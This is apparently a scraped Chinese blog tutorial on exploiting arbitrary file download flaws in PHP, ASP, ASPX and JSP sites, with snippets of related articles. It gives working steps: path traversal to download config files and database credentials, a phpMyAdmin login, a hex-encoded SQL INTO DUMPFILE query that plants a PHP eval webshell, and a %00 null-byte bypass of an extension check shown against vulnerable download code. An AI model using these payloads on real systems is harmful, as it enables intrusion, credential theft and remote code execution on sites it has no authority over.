任意文件下载漏洞 php站点

php一般是mysql数据库, 一般mysql数据库禁止远程连接,但是可以使用phpMyAdmin进行管理。
www.test.edu.tw/download.php?filename=../conf/config.php &dir=/&title=config.php
下载获得mysql数据库的用户名和密码是root权限

直接使用phpMyAdmin登录
http://www.test.edu.tw/phpMyAdmin/index.php?lang=en-utf-8&convcharset=iso-8859-1&collation_connection=utf8_unicode_ci&token=dbb67456ce756a4d1a22f2b219fa612e

直接使用mysql导出文件功能导出一句话
select 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into dumpfile ‘/home/webadm/public_html/app/test.php‘

使用菜刀连接

完成一次渗透测试。

5.通用方法
上面在不同类型站点中利用该漏洞,都是利用各种站点本身的配置信息完成的,当上述方法都失败时,下载点就会将黑盒渗透过程变成白盒渗透过程,就是下载源代码,找bug,对于每种站点都是一样的。在此省略了.

五、 绕过简单限制方法
看到有些站点,对该漏洞的防范只是简单判断文件后缀名,例如如下所示:
<?php

include( "init.inc.php" );
get_referer( false );
if ( empty( $_GET[‘filename‘] ) || empty( $_GET[‘title‘] ) || empty( $_GET[‘dir‘] ) )
{
error_display( t_( "缺少檔案下載參數" ) );
}
$file_name = $_GET[‘filename‘];
$file_download = uploadpath( )."/".$_GET[‘dir‘]."/".$file_name;
$file_extension = get_file_extension( $file_name );
if ( strpos( $_SERVER[‘HTTP_USER_AGENT‘], "MSIE" ) )
{
$file_save = utf8tobig5( $_GET[‘title‘] ).".".$file_extension;
}
else
{
$file_save = $_GET[‘title‘].".".$file_extension;
}
$file_save = ereg_replace( "[\\/:*?\"<>|]", "_", $file_save );
if ( $file_extension == "php" ) //这里对文件后缀进行判断
{
exit( "<strong>Cannot be used for ".$file_extension." files!</strong>" );
}
$mimeType = get_file_mimetype( $file_name );
if ( strpos( $_SERVER[‘HTTP_USER_AGENT‘], "MSIE 5" ) || strpos( $_SERVER[‘HTTP_USER_AGENT‘], "Opera 7" ) )
{
$mimeType = "application/x-download";
}
ob_end_clean( );
header( "Pragma: public" );
header( "Expires: 0" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Cache-Control: public" );
header( "Content-Description: File Transfer" );
header( "Content-Type: ".$mimeType );
header( "Content-Disposition: attachment; filename=".$file_save );
header( "Content-Transfer-Encoding: binary" );
header( "Content-Length: ".filesize( $file_download ) );
@readfile( @$file_download );
?>
但是这样同样可以下载,简单实用%00txt就可以绕过限制,继续下载。
绕过其它不安全防范防范待续….

时间: 2024-11-09 17:46:47

任意文件下载漏洞 php站点的相关文章

任意文件下载漏洞 aspx站点

1) 利用sql server渗透对于aspx站点一般后台都是sql server数据库,因此利用该漏洞的最简单的方法是直接获得数据库密码,直接登录数据库,利用sql server完成渗透. http://www.test.org/DownLoadFileLow.aspx?FileName=Accompanying_Persons_Tour_Program.pdf 首先确定网站根目录下载web.config文件,aspx站点用根目录下的web.config文件保存配置信息尝试确定根目录:http

任意文件下载漏洞 jsp站点

出现位置: 一般的网站都提供下载文件功能,常规的思路是使用一个动态页面(php.jsp.aspx.asp等)将待下载文件作为参数一般参数名称为filename,如.php?filename/.jsp?filename等.一般实现过程是,在根据参数filename的值,获得该文件在网站上的绝对路径,读取文件,然后是直接发送给客户端下载.一般实现代码如下:(jsp实现文件下载的代码,其它语言实现过程类似)<%@ page contentType="application;" %>

任意文件下载漏洞 asp站点

一般的asp站点都是access数据库(连接sql server 直接可以参考aspx站点的利用方法).而access数据库可以直接下载,因此利用该漏洞比较简便的方法就是直接下载access数据库,找到管理员密码登陆后台,利用后台的上传功能,上传shell. 一个asp下载点http://www.testcn/GraduateSchool/dlsd/download.asp?filename=012%C5%A9%B2%FA%C6%B7%BC%D3%B9%A4%CB%F9.doc 确定站点根目录:

(原创)浅谈任意文件下载漏洞的利用

文章写的一般,如果有错误的地方,请指教~ 0x01 任意文件下载常见利用方式 0x02 信息收集部分 0x03 代码审计部分 0x04 总结 0x01 前言 在web语言中,php和java常常会产生任意文件下载漏洞,由于渗透测试的需要,常常需要进一步getshell,笔者对常见的任意文件下载漏洞常见的getshell方式进行总结.欢迎指出不足和错误之处 0x02 利用方式介绍 信息收集信息>猜路径 >>下载配置文件/代码文件 >> 利用服务器软件漏洞> shell&g

【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第203

代码审计之Finecms任意文件下载漏洞

PS:该漏洞已被公布,只是学习.故自己跟着大佬的步伐审计. 漏洞所在文件地址:\controllers\ApiController.php Line 57 public function downAction() { $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'

任意文件下载(pikachu)

任意文件下载漏洞 很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件. 但是,如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件.(任意文件下载) 在靶场的unsafe filedownload栏目可以看到 这些球星 这里提示我们,点击球员的名字可以下载, 我们尝试点击一下 确实是进行了下载,但是我们右击球员的名字,选择新建标签页打开链接 在下载的同时,我们看到了下载的url 这里通过get请求,下载了名为kb.p

winmail getshell源码分析(任意文件下载)

http://www.tuicool.com/articles/BFZ7Rze 根据此链接分析 winmail中全局变量全部在./inc/config.php中定义.如果出现变量覆盖漏洞则可以覆盖任意全局变量. 根据作者思路先看wap.php这个文件. switch ($dest){case 'index': include('../wap/index.php'); break; 当wap.php?dest=index时调用index.php文件 观察index.php(位于../wap/ind

DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

下载链接 https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1 留言处存储型XSS 漏洞在content/guestbook/index.php function create() { echo 123; global $db,$request; if ($_SESSION['verifycode'] != $request['checkcode']) { echo '<script>alert("请正确填写验证码!&qu